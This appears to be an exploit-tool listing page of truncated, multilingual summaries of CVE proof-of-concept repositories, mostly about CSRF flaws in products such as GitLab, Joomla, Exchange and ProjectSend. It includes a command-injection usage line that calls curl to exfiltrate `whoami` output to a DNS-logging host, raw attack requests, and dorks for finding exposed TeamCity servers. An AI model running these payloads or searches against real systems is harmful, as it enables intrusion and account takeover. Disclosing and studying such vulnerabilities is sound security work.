CVE-2024-27632

CVE-2024-27632 漏洞详情 概述 在 Savane v3.12 及更早版本中，Unix 时间戳被用作伪随机数生成器 PRNG 的种子，该生成器用于生成跨站请求伪造 CSRF 保护令牌 formid。因此，攻击者可能能够独立生成与被攻击用户分配的相同有效 CSRF 令牌，从而通过 CSRF 检查并导致成功的 CSRF 攻击。CSRF 攻击的影响包括权限提升和帐户接管。 CWE 分类： CWE-335：伪随机数生成器 PRNG 中种子的错误使用 报告者： Ally Petitt 受影响产品 ：Savane 受影响版本 ：3.12 及更早版本 技术细节 在生成 formid...

MDaemon-Advisories

MDaemon 권고사항 MDaemon 권고사항: CVE-2021-27180 반사형 XSS CVE-2021-27181 CSRF 토큰 고정 CVE-2021-27182 Iframe 인젝션 CVE-2021-27183 원격 코드 실행 해당 취약점들은 2021년 1월에 이미 패치되었으며 CVE 목적으로 공개되었습니다. 이 취약점들은 이메일 메시지를 통해 RCE/계정 탈취를 달성하기 위해 체이닝될 수 있습니다 사용자 상호작용 필요. 타임라인: 15-Dec-2020: 취약점 보고서를 공급업체에 전송 12-Jan-2021: 패치 발행 패치 노...

CVE-2019-19652

CVE-2019-19652 Chevereto 降级攻击 - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. 管理员用户可以指示更新脚本降级到另一个版本而不是升级，从而重新引入之前的缺陷。由于缺少 CSRF 令牌，此攻击还可用于 CSRF 攻击，即管理员用户可能被诱骗执行此操作。 管理员用户可以指示更新脚本下载任意版本，包括旧版本 服务器将返回下载文件的完整文件名，该文件名将在后续请求中使用 root@kitploit: GET /update/?action=download&version=3.13.4 HTTP/1.1 Host: 192.168.0.88...

CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

xssless

xssless pythonで書かれた自動XSSペイロードジェネレータ。 使用方法 1. Burp proxyでリクエストを記録します 2. 生成したいリクエストを選択し、右クリックして「Save items」を選択します 3. xsslessを使ってペイロードを生成します: ./xssless.py burpexportfile 4. Pwn! より詳細なチュートリアルはこちらにあります 特徴 インポートされたBurp proxyリクエストからの自動XSSペイロード生成 ペイロードは100%非同期で、ユーザーのブラウザをフリーズさせません...

CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7

CVE-2025-25748 - HotelDruid 3.0.7 におけるクロスサイトリクエストフォージェリ CSRF 脆弱性 説明 HotelDruid 3.0.7 の gestioneutenti.php エンドポイントにおけるクロスサイトリクエストフォージェリ CSRF 脆弱性により、攻撃者はオリジンまたはリファラの検証の欠如とCSRFトークンの不在を悪用して、認証されたユーザーに代わって不正な操作（例：ユーザーパスワードの変更）を実行できます。 影響 不正なパスワード変更: 攻撃者はユーザーパスワードを上書きし、完全なアカウント乗っ取りにつながります。 セッションライディング:...

CVE-2022-41544

CVE-2022-41544 익스플로잇 스크립트 이 저장소는 GetSimple CMS의 CVE-2022-41544 취약점을 익스플로잇하는 스크립트를 포함합니다. 스크립트는 취약점 확인, API 키 유출, 쿠키 설정, CSRF 토큰 획득, 셸 업로드 및 셸 트리거 등의 여러 단계를 수행합니다. 변경 사항 및 개선 사항 1. 비권장 경고 처리 : 더 이상 사용되지 않는 telnetlib 임포트를 제거했습니다. 스크립트 기능에 필요하지 않았기 때문입니다. 2. 향상된 오류 처리 : HTTP 요청 및 XML 파싱에 대한 더 강력한 오류...

CVE-2019-25137-RCE

CVE-2019-25137-RCE CVE-2019-25137 は Umbraco RCE の脆弱性です。このリポジトリ内のスクリプトはわずかに変更されています。 このエクスプロイトスクリプトは、Alexandre ZANNI によるスクリプト EDB-ID 49488 を基にしています。 わずかに変更されており、ログイン前にトークン抽出をスキップするようにフローを変更し、最初にログインを実行し（トークンなし）、その後ログインレスポンスのクッキーから実際の CSRF トークンを取得します。 ⚠️ 免責事項: このエクスプロイトコードは教育および研究目的のみ...

CVE-2025-25965

CVE-2025-25965: Online Banquet Booking System v1.2의 사이트 간 요청 위조CSRF 소개 사이트 간 요청 위조CSRF는 오늘날 웹 애플리케이션에 영향을 미치는 가장 간과되면서도 위험한 취약점 중 하나로 남아 있습니다. CVE-2025-25965 는 Phpgurukul Online Banquet Booking System v1.2 에서 새로 발견된 CSRF 취약점으로, 원격 공격자가 인증된 세션을 악용하여 사용자의 동의 없이 이메일 주소를 변경할 수 있게 합니다. 취약점 개요 CVE ID :...

Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240

Bludit Bruteforce Mitigation Bypass Script Overview This script is a refurbished Bash implementation of an exploit targeting the Bludit CMS version = 3.9.2. It leverages a vulnerability CVE-2019-17240 that allows brute-forcing passwords by bypassing the CSRF token-based protection. The original...

CVE-2024-11680

ProjectSend CVE-2024-11680 漏洞利用 这是针对 CVE-2024-11680 的概念验证漏洞利用代码，该漏洞是 ProjectSend 中一个无需身份验证的配置修改与 Web Shell 上传漏洞。 描述 该漏洞利用工具利用了 ProjectSend 中的多个漏洞： 允许修改配置的 CSRF 令牌绕过 不安全的客户端注册设置 无限制文件上传，导致远程代码执行 环境要求 Python 3.x 所需的 Python 包： root@kitploit: pip install requests colorama 使用方法 root@kitploit: python3...

CVE-2024-27198-RCE

사이버스페이스 매핑 Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" 사용 방법 Python3.9을 사용하고 있습니다. root@kitploit: pip install requests urllib3 faker ! 문제 현재 몇 가지...

CVE-2017-9934

CVE-2017-9934 私はこのエクスプロイトの報告者です。名前: Envo Joomla 1.7.3 - 3.7.2 CSRFエクスプロイトPoC この脆弱性は、Joomla 1.7.3 から 3.7.2 が base64 入力をサニタイズしていないために発生します。 Headers: root@kitploit: POST http://localhost/joomla/administrator/index.php?option=commenus&view=item&clientid=0&layout=edit&id=0 HTTP/1.1 User-Agent:...

CVE-2023-7028

CVE-2023-7028: CVE-2023-7028 익스플로잇 도구 설명: 이 Python 스크립트는 GitLab 인스턴스의 가상 보안 취약점CVE-2023-7028 악용을 자동화합니다. 지정된 대상 이메일 주소에 대한 비밀번호 재설정 공격을 용이하게 하여 잠재적인 보안 위험을 보여줍니다. 이 도구는 GitLab URL, 대상 이메일 및 선택적 매개변수에 대한 명령줄 옵션을 지원하며, 파일에서 여러 URL 및 이메일을 처리하는 기능이 향상되었습니다. 참고: 이 스크립트는 교육 목적으로만 제공되며 승인되지 않거나 악의적인 활동에...

CSRFBrute

CSRFBrute CSRFログイン総当たりツール - V 0.5.0 Dev 安定した軽量版である csrfbrute.py を優先的に使用することを推奨 🚀 特徴 動的CSRFトークン更新 - 高セキュリティターゲット上での正確性を確保 スレッドセーフなセッション管理 - 最大100スレッドの高並行処理をサポート スマートリトライ機構 - 指数バックオフ戦略により成功率を向上 セッション復元機能 - ブレークポイントからの再開とCookie復元をサポート パフォーマンス監視 - リアルタイム統計情報とメモリ最適化 セキュリティ監査 - 完全なログ記録と機密情報のマスキング処理...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary クロスサイトリクエストフォージェリ 特権昇格の脆弱性 これはCVE-2021-24085の概念実証です。 1. poc.py は、内部に秘密鍵を含むターゲットの証明書ファイルをダウンロードします。 2. YellowCanary は、SIDに基づいて特定のユーザーのmsExchEcpCanary CSRFトークンを生成します。 3. poc.js は、アカウント乗っ取りを引き起こすCSRFエクスプロイトです。...

CVE-2024-50335

CVE-2024-50335: 「Publish Key」フィールドにおける認証済みXSSにより、不正な管理者ユーザーの作成が可能 概要 SuiteCRMのEdit Profileページにある「Publish Key」フィールドは、反射型クロスサイトスクリプティング XSS に対して脆弱であり、攻撃者が悪意のあるJavaScriptコードを注入できる可能性があります。これを悪用すると、CSRFトークンを窃取し、適切な認証なしに新しい管理者ユーザーを作成するなどの不正な操作を実行できます。 詳細 この脆弱性は、SuiteCRMアプリケーション内のPublish...

CVE-2021-40101

설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생 9 미만 버전의 Concrete CMS 관리자는 다른 사용자의 비밀번호를 변경할 때 자신의 비밀번호를 제공할 필요가 없었습니다. CVE-2021-28145 "Concrete CMS 이전 concrete5 8.5.5 이전 버전에서는 원격 인증 사용자가 조작된 설문조사 블록을 통해 XSS 공격을 수행할 수 있습니다. 이를 위해서는 최소한 편집자 권한이 필요합니다": 수정 사항은 버전 8.5.5에 포함되었습니다.와 결합하여 낮은 권한의 사용자...

CVE-2024-55271

健身房管理系统 CVE-2024-55271 一个使用 PHP 和 MySQL 构建的健身房管理系统。 审计者 Shoaib Alam - 领英主页 描述 个人资料更新部分中的 CSRF 漏洞 在健身房管理系统中发现了一个跨站请求伪造（CSRF）漏洞。该问题存在于用户面板的个人资料更新功能中。 该应用程序目前缺少 Anti-CSRF 令牌的实现，因此容易受到跨站请求伪造（CSRF）攻击。此安全弱点特别影响 /profile.php 端点。攻击者可以利用此缺陷对敏感用户信息（如地址、姓名和电话号码）执行未经授权的修改。这可能危及用户帐户的完整性，并导致进一步的安全问题。 易受攻击的端点：...

CVE-2026-93873

Cotonti CMS through version 1.0.0 is affected by a Cross-Site Request Forgery (CSRF) vulnerability in the contact plugin's submission handler (plugins/contact/contact.php). The root cause is a failure to validate anti-CSRF tokens, allowing attackers to auto-submit contact forms from attacker-cont...